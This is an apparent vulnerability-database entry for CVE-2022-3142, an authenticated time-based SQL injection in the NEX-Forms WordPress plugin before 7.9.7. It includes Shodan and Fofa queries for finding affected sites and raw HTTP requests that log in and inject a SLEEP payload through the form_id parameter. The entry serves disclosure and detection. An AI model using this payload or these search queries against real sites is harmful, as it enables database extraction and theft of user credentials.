| Title | NEX-Forms Plugin < 7.9.7 - SQL Injection |
|---|---|
| Author | r3Y3r53 |
| Severity | High |
| Impact | Authenticated attackers with form statistics viewing permissions can execute SQL injection through the form_id parameter to extract the complete WordPress database including user credentials, email addresses, and sensitive site data. |
| Remediation | Fixed in version 7.9.7 |
| CVSS Score | 8.8 |
| EPSS Score | 0.22872 |
| CVE ID | CVE-2022-3142 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/nex-forms-express-wp-form-builder/ |
| Fofa Query | body=/wp-content/plugins/nex-forms-express-wp-form-builder/ |
| Tags | time-based-sqli cve cve2022 wpscan packetstorm wordpress sqli wp-plugin wp authenticated basixonline vuln |
The NEX-Forms WordPress plugin before 7.9.7 does not properly sanitise and escape user input before using it in SQL statements, leading to SQL injections. The attack can be executed by anyone who is permitted to view the forms statistics chart, by default administrators, however can be configured otherwise via the plugin settings.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=fQp1vc&pwd=OLE8wV&wp-submit=Log+In
GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(7)))b)-- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3142.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3142.pcap
N/AN/A